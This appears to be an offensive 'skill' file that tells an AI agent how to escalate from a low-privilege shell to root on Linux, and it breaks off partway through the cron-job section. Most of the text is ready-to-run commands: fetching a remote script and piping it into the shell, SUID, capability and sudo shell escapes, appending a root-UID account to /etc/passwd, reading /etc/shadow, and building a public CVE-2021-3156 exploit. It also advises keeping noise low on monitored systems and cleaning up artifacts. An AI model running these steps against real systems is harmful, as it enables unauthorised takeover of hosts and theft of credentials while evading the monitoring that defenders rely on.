offensive-linux-privesc

# Linux Privilege Escalation

You have a low-privilege shell on a Linux target. Your objective is to escalate to root through systematic enumeration and exploitation of misconfigurations, vulnerable software, and kernel flaws. This skill provides a structured methodology that moves from passive reconnaissance through increasingly aggressive techniques, prioritizing reliability and stealth.

Every engagement starts with situational awareness. Know what you have, what the system exposes, and what defenders can see. Chain low-severity findings into high-impact escalation paths.

## Quick Workflow

1. Run automated enumeration (LinPEAS, linux-exploit-suggester) to surface quick wins.
2. Check sudo permissions, SUID/SGID binaries, and capabilities first -- these are the highest-probability vectors.
3. Enumerate cron jobs, writable scripts, and PATH ordering for hijack opportunities.
4. Inspect file permissions on /etc/passwd, /etc/shadow, service configs, and SSH keys.
5. Check for NFS shares with no_root_squash and Docker group membership.
6. Fingerprint the kernel version and search for applicable kernel exploits as a last resort.
7. Validate the escalation path, document the chain, and clean up artifacts.

---

## Automated Enumeration

Before manual inspection, run automated tools to surface the broadest set of findings. Pipe output to a file for offline review and cross-referencing.

```bash
# LinPEAS -- transfer and execute
curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh | tee /dev/shm/linpeas.out

# Minimal execution to reduce noise on monitored systems
./linpeas.sh -s -q 2>/dev/null | tee /dev/shm/linpeas_quiet.out

# Kernel exploit suggestion
./linux-exploit-suggester.sh --uname "$(uname -r)"

# pspy -- monitor processes without root (watches procfs)
./pspy64 -pf -i 1000 | tee /dev/shm/pspy.out
```

Review LinPEAS output section by section. Focus on red and yellow highlights. Cross-reference SUID findings with GTFOBins immediately.

---

## SUID/SGID Binary Abuse

SUID binaries execute with the file owner's privileges. When owned by root, they are direct escalation vectors if they permit arbitrary command execution, file reads, or file writes.

### Enumeration

```bash
# Find all SUID/SGID binaries
find / -perm -4000 -type f 2>/dev/null
find / -perm -2000 -type f 2>/dev/null
find / -perm -u=s -type f -exec ls -la {} \; 2>/dev/null
```

### Exploitation via GTFOBins

```bash
# If find is SUID
find . -exec /bin/sh -p \;

# If vim is SUID
vim -c ':!/bin/sh'

# If python3 is SUID
python3 -c 'import os; os.execl("/bin/sh", "sh", "-p")'

# If cp is SUID -- overwrite /etc/passwd
cp /etc/passwd /dev/shm/passwd.bak
echo 'hacker:$(openssl passwd -1 password):0:0::/root:/bin/bash' >> /dev/shm/passwd_modified
cp /dev/shm/passwd_modified /etc/passwd

# If bash is SUID
bash -p

# If nmap (old interactive mode) is SUID
nmap --interactive
!sh
```

### Custom SUID Binary Analysis

```bash
# Check what libraries a SUID binary loads
ldd /usr/local/bin/custom_suid
strace /usr/local/bin/custom_suid 2>&1 | grep -i open

# Check for relative path calls in the binary
strings /usr/local/bin/custom_suid | grep -E '^[a-z]'
ltrace /usr/local/bin/custom_suid 2>&1
```

If a SUID binary calls another program without an absolute path, you can hijack it by prepending a malicious directory to PATH.

---

## Linux Capabilities Exploitation

Capabilities split root privileges into discrete units. A binary with cap_setuid can change its UID to 0 without being SUID.

```bash
# Find binaries with capabilities set
getcap -r / 2>/dev/null
```

### Exploitation

```bash
# cap_setuid on python3
python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'

# cap_setuid on perl
perl -e 'use POSIX qw(setuid); setuid(0); exec "/bin/bash";'

# cap_dac_override on vim (read/write any file)
vim /etc/shadow

# cap_dac_read_search on tar (read any file)
tar czf /dev/shm/shadow.tar.gz /etc/shadow
tar xzf /dev/shm/shadow.tar.gz -C /dev/shm/

```

Capabilities are frequently overlooked by administrators. They appear in LinPEAS output but deserve dedicated enumeration.

---

## Sudo Misconfigurations

Sudo rules are the most common privilege escalation vector in real engagements. Check `sudo -l` immediately upon gaining a shell.

```bash
# List sudo permissions for current user
sudo -l
sudo --version
cat /etc/sudoers 2>/dev/null
```

### NOPASSWD Exploitation

```bash
# If sudo allows vi/vim NOPASSWD
sudo vim -c '!bash'

# If sudo allows less NOPASSWD
sudo less /etc/shadow
!/bin/bash

# If sudo allows awk NOPASSWD
sudo awk 'BEGIN {system("/bin/bash")}'

# If sudo allows find NOPASSWD
sudo find /tmp -exec /bin/bash \;

# If sudo allows env NOPASSWD (LD_PRELOAD)
# See LD_PRELOAD section below

# If sudo allows a script you can write to
echo '/bin/bash' > /path/to/writable_script.sh
sudo /path/to/writable_script.sh

# If sudo allows running as another user
sudo -u targetuser /bin/bash
```

### Baron Samedit -- CVE-2021-3156

```bash
# Check if vulnerable (sudo 1.8.2 through 1.8.31p2, 1.9.0 through 1.9.5p1)
sudoedit -s '\' $(python3 -c 'print("A"*1000)')
# If it crashes/segfaults, it is likely vulnerable

# Exploit (multiple public PoCs available)
git clone https://github.com/blasty/CVE-2021-3156.git
cd CVE-2021-3156
make
./sudo-hax-me-a-sandwich <target_number>

# Check target OS for correct offset
cat /etc/os-release
```

This heap-based buffer overflow in sudoedit affects a wide range of Linux distributions. It provides direct root access without needing any sudo permissions.

---

## Cron Job Abuse

Cron jobs run on schedules with the privileges of the cron owner. Writable scripts, PATH misconfigurations, and wildcard expansion create escalation paths.

### Enumeration

```bash
# System crontabs
cat /etc/crontab
ls -la /etc/cron.d/
ls -la /etc/cron.daily/ /etc/cron.hourly/ /etc/cron.weekly/ /etc/cron.monthly/

# User crontabs
crontab -l
ls -la /var/spool/cron/crontabs/ 2>/dev/null

# Use pspy to disc